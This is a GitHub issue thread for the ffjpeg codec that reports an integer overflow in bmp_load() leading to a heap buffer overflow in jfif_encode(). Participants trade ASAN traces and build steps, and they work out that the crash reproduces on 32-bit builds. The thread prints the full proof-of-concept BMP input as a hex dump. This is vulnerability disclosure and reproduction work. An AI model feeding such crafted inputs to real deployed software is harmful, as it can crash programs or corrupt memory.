rockcarry / ffjpeg

a simple jpeg codec.
GNU General Public License v3.0
106 stars 46 forks source link

Integer overflow in bmp_load() resulting in heap overflow in jfif_encode() at jfif.c:763 #49

Open 0xdd96 opened 2 years ago

0xdd96 commented 2 years ago

version: master (commit caade60) poc: poc command: ./ffjpeg -e $poc$

Here is the trace reported by ASAN:

user@c3ae4d510abb:/path_to_ffjpeg/src$ ./ffjpeg -e poc
=================================================================
==17827==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x612000000148 at pc 0x555555567e84 bp 0x7fffffffe120 sp 0x7fffffffe110
READ of size 1 at 0x612000000148 thread T0
    #0 0x555555567e83 in jfif_encode /path_to_ffjpeg/src/jfif.c:763
    #1 0x555555556c63 in main /path_to_ffjpeg/src/ffjpeg.c:33
    #2 0x7ffff73bf0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x240b2)
    #3 0x55555555704d in _start (/path_to_ffjpeg/src/ffjpeg+0x304d)

0x612000000148 is located 0 bytes to the right of 264-byte region [0x612000000040,0x612000000148)
allocated by thread T0 here:
    #0 0x7ffff769abc8 in malloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10dbc8)
    #1 0x555555557987 in bmp_load /path_to_ffjpeg/src/bmp.c:48

SUMMARY: AddressSanitizer: heap-buffer-overflow /path_to_ffjpeg/src/jfif.c:763 in jfif_encode

This issue is the same as #38, but the fix to it (0fa4cf8) is not complete. An integer overflow is still possible in line 43. In the example below, when width=1431655779, pb->stride=44 which bypasses the check in line 44. This will lead to a heap buffer flow in jfif.c as in the ASAN report above.

https://github.com/rockcarry/ffjpeg/blob/caade60a69633d74100bd3c2528bddee0b6a1291/src/bmp.c#L41-L47

pwndbg> p pb
$3 = (BMP *) 0x7fffffffe370
pwndbg> p *(BMP *) 0x7fffffffe370
$4 = {
  width = 1431655779,
  height = 6,
  stride = 44,
  pdata = 0x555555576490
}
Marsman1996 commented 2 years ago

I cannot reproduce the crash with the provided poc file.

❯ ./bin_asan/bin/ffjpeg -e ffjpeg-bmp_load-integer-overflow
=================================================================
==2742398==ERROR: AddressSanitizer: allocator is out of memory trying to allocate 0x1555555c00 bytes
    #0 0x4c5587 in calloc /home/ubuntu178/Downloads/llvm12/projects/compiler-rt/lib/asan/asan_malloc_linux.cpp:154:3
    #1 0x507342 in jfif_encode /home/ubuntu178/cvelibf/test/ffjpeg/caade60/build_asan/src/jfif.c:749:21
    #2 0x4fc0bf in main /home/ubuntu178/cvelibf/test/ffjpeg/caade60/build_asan/src/ffjpeg.c:33:16
    #3 0x7fa4e61cb0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16

==2742398==HINT: if you don't care about these errors you may set allocator_may_return_null=1
SUMMARY: AddressSanitizer: out-of-memory /home/ubuntu178/Downloads/llvm12/projects/compiler-rt/lib/asan/asan_malloc_linux.cpp:154:3 in calloc
==2742398==ABORTING
❯ ASAN_OPTIONS="allocator_may_return_null=1" ./bin_asan/bin/ffjpeg -e ffjpeg-bmp_load-integer-overflow
❯ ls
bin_afl    bin_asan    build.sh   build_aflpp  build_normal  decode.bmp  ffjpeg-bmp_load-integer-overflow  
bin_aflpp  bin_normal  build_afl  build_asan   code          encode.jpg  ffjpeg-jfif_load-buffer-overflow

I tested with gdb and find that the poc did not pass the check in jfif.c:752 and with poc the program does not execute the jfif.c:763.

(gdb) set args -e ./ffjpeg-bmp_load-integer-overflow 
(gdb) b jfif.c:752
Breakpoint 1 at 0x48f9: file jfif.c, line 752.
(gdb) r
Starting program: /home/ubuntu178/cvelibf/test/ffjpeg/caade60/bin_normal/bin/ffjpeg -e ./ffjpeg-bmp_load-integer-overflow 

Breakpoint 1, jfif_encode (pb=0x7fffffffdd40) at jfif.c:752
752         if (!yuv_datbuf[0] || !yuv_datbuf[1] || !yuv_datbuf[2]) {
(gdb) p *(BMP *) pb
$1 = {width = 1431655779, height = 6, stride = 44, pdata = 0x555555561490}
(gdb) n
753             goto done;
(gdb) 
850         if (yuv_datbuf[0]) free(yuv_datbuf[0]);
(gdb) p yuv_datbuf[0]
$2 = (int *) 0x0

Tested in Ubuntu 20.04, 64bit; Clang 12.0.0.

0xdd96 commented 2 years ago

Did you copy-paste the file from browser? The poc contains special characters in the end.

❯ xxd ffjpeg-bmp_load-integer-overflow
00000000: 5f55 5555 5555 553d 3635 7155 5555 5455  _UUUUUU=65qUUUTU
00000010: 5555 6355 5555 0600                      UUcUUU..

ps: I tried to copy the PoC from browser and encountered the same output as you :) Maybe you could try download the PoC with the RAW link

My test environment is

user@c3ae4d510abb:$ cat /etc/issue
Ubuntu 20.04.4 LTS \n \l

user@c3ae4d510abb:$ gcc --version
gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
Copyright (C) 2019 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Marsman1996 commented 2 years ago

The poc file is downloaded from the browser, but the xxd shows same result as yours:

❯ xxd ffjpeg-bmp_load-integer-overflow
00000000: 5f55 5555 5555 553d 3635 7155 5555 5455  _UUUUUU=65qUUUTU
00000010: 5555 6355 5555 0600                      UUcUUU..

And I use the wget to download the poc file and get the same result:

❯ wget https://github.com/dandanxu96/PoC/raw/main/ffjpeg/ffjpeg-bmp_load-integer-overflow
--2022-04-01 11:53:22--  https://github.com/dandanxu96/PoC/raw/main/ffjpeg/ffjpeg-bmp_load-integer-overflow
Resolving github.com (github.com)... 20.205.243.166
Connecting to github.com (github.com)|20.205.243.166|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/dandanxu96/PoC/main/ffjpeg/ffjpeg-bmp_load-integer-overflow [following]
--2022-04-01 11:53:23--  https://raw.githubusercontent.com/dandanxu96/PoC/main/ffjpeg/ffjpeg-bmp_load-integer-overflow
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 2606:50c0:8000::154, 2606:50c0:8002::154, 2606:50c0:8001::154, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|2606:50c0:8000::154|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 24 [application/octet-stream]
Saving to: ‘ffjpeg-bmp_load-integer-overflow.1’

ffjpeg-bmp_load-integer-overflow. 100%[===========================================================>]      24  --.-KB/s    in 0s      

2022-04-01 11:53:24 (1.21 MB/s) - ‘ffjpeg-bmp_load-integer-overflow.1’ saved [24/24]

❯ xxd ffjpeg-bmp_load-integer-overflow.1
00000000: 5f55 5555 5555 553d 3635 7155 5555 5455  _UUUUUU=65qUUUTU
00000010: 5555 6355 5555 0600                      UUcUUU..
❯ ./bin_asan/bin/ffjpeg -e ffjpeg-bmp_load-integer-overflow.1
=================================================================
==2755917==ERROR: AddressSanitizer: allocator is out of memory trying to allocate 0x1555555c00 bytes
    #0 0x4c5587 in calloc /home/ubuntu178/Downloads/llvm12/projects/compiler-rt/lib/asan/asan_malloc_linux.cpp:154:3
    #1 0x507342 in jfif_encode /home/ubuntu178/cvelibf/test/ffjpeg/caade60/build_asan/src/jfif.c:749:21
    #2 0x4fc0bf in main /home/ubuntu178/cvelibf/test/ffjpeg/caade60/build_asan/src/ffjpeg.c:33:16
    #3 0x7f54a11b10b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16

==2755917==HINT: if you don't care about these errors you may set allocator_may_return_null=1
SUMMARY: AddressSanitizer: out-of-memory /home/ubuntu178/Downloads/llvm12/projects/compiler-rt/lib/asan/asan_malloc_linux.cpp:154:3 in calloc
==2755917==ABORTING
❯ ASAN_OPTIONS="allocator_may_return_null=1" ./bin_aflpp/bin/ffjpeg -e ffjpeg-bmp_load-integer-overflow.1
❯ ls
bin_afl    bin_normal  build_aflpp   code        ffjpeg-bmp_load-integer-overflow  
bin_aflpp  build.sh    build_asan    decode.bmp  ffjpeg-bmp_load-integer-overflow.1  
bin_asan   build_afl   build_normal  encode.jpg  ffjpeg-jfif_load-buffer-overflow
❯ sha1sum ./ffjpeg-bmp_load-integer-overflow
3bc9c74cee80ff2a5c7c837f3d26abd5d7ae7205  ./ffjpeg-bmp_load-integer-overflow
❯ sha1sum ./ffjpeg-bmp_load-integer-overflow.1
3bc9c74cee80ff2a5c7c837f3d26abd5d7ae7205  ./ffjpeg-bmp_load-integer-overflow.1

I am doing research about vulnerability reproduction and analysis. Could you please provide more information, such as how you compile the target program?

Thanks for any reply!

0xdd96 commented 2 years ago

The complete compilation process is as follows. Feel free to ask if you encountered any problems.

user@c3ae4d510abb:$ git clone https://github.com/rockcarry/ffjpeg.git ffjpeg-caade60
Cloning into 'ffjpeg-caade60'...
remote: Enumerating objects: 438, done.
remote: Counting objects: 100% (88/88), done.
remote: Compressing objects: 100% (62/62), done.
remote: Total 438 (delta 52), reused 52 (delta 26), pack-reused 350
Receiving objects: 100% (438/438), 191.18 KiB | 1.86 MiB/s, done.
Resolving deltas: 100% (259/259), done.

user@c3ae4d510abb:$ cd ffjpeg-caade60/
user@c3ae4d510abb:$ ls
LICENSE  Makefile  README  docs  msvc  src

user@c3ae4d510abb:$ vim src/Makefile
CC      = gcc
AR      = ar
- CCFLAGS = -Wall
+ CCFLAGS = -Wall -g -fsanitize=address

user@c3ae4d510abb:$ make -j
src
make -C src
make[1]: Entering directory 'ffjpeg-caade60/src'
gcc -Wall -g -fsanitize=address -o color.o color.c -c
gcc -Wall -g -fsanitize=address -o dct.o dct.c -c
gcc -Wall -g -fsanitize=address -o quant.o quant.c -c
gcc -Wall -g -fsanitize=address -o zigzag.o zigzag.c -c
gcc -Wall -g -fsanitize=address -o bitstr.o bitstr.c -c
gcc -Wall -g -fsanitize=address -o huffman.o huffman.c -c
gcc -Wall -g -fsanitize=address -o bmp.o bmp.c -c
gcc -Wall -g -fsanitize=address -o jfif.o jfif.c -c
gcc    -c -o ffjpeg.o ffjpeg.c
ar rcs libffjpeg.a color.o dct.o quant.o zigzag.o bitstr.o huffman.o bmp.o jfif.o
gcc -Wall -g -fsanitize=address -o ffjpeg ffjpeg.o libffjpeg.a
make[1]: Leaving directory 'ffjpeg-caade60/src'

user@c3ae4d510abb:$ ./src/ffjpeg -e ../ffjpeg-bmp_load-integer-overflow
=================================================================
==16175==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x612000000148 at pc 0x55555555e71e bp 0x7fffffffe190 sp 0x7fffffffe180
READ of size 1 at 0x612000000148 thread T0
    #0 0x55555555e71d in jfif_encode ffjpeg-caade60/src/jfif.c:763
    #1 0x555555556771 in main (ffjpeg-caade60/src/ffjpeg+0x2771)
    #2 0x7ffff73bf0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x240b2)
    #3 0x55555555656d in _start (ffjpeg-caade60/src/ffjpeg+0x256d)

0x612000000148 is located 0 bytes to the right of 264-byte region [0x612000000040,0x612000000148)
allocated by thread T0 here:
    #0 0x7ffff769abc8 in malloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10dbc8)
    #1 0x555555556c26 in bmp_load ffjpeg-caade60/src/bmp.c:48
    #2 0x55555555673a in main (ffjpeg-caade60/src/ffjpeg+0x273a)
    #3 0x7ffff73bf0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x240b2)
GHTHYS commented 2 years ago

I can't reproduce it either.

ihopenot commented 2 years ago

this problem can lead to crash in 32 bit program, try compiling with -m32 option to reproduce it.

Marsman1996 commented 2 years ago

OK, I get it.

This is caused by the different size of unsigned long. In 64-bit program, unsigned long is 8 bytes while in 32-bit unsigned long is 4 bytes. As a result, the calloc in jfif.c:749-751 in 32-bit is always success due to the overflow, which causes the check in jfif.c:752 fail to work. https://github.com/rockcarry/ffjpeg/blob/caade60a69633d74100bd3c2528bddee0b6a1291/src/jfif.c#L747-L754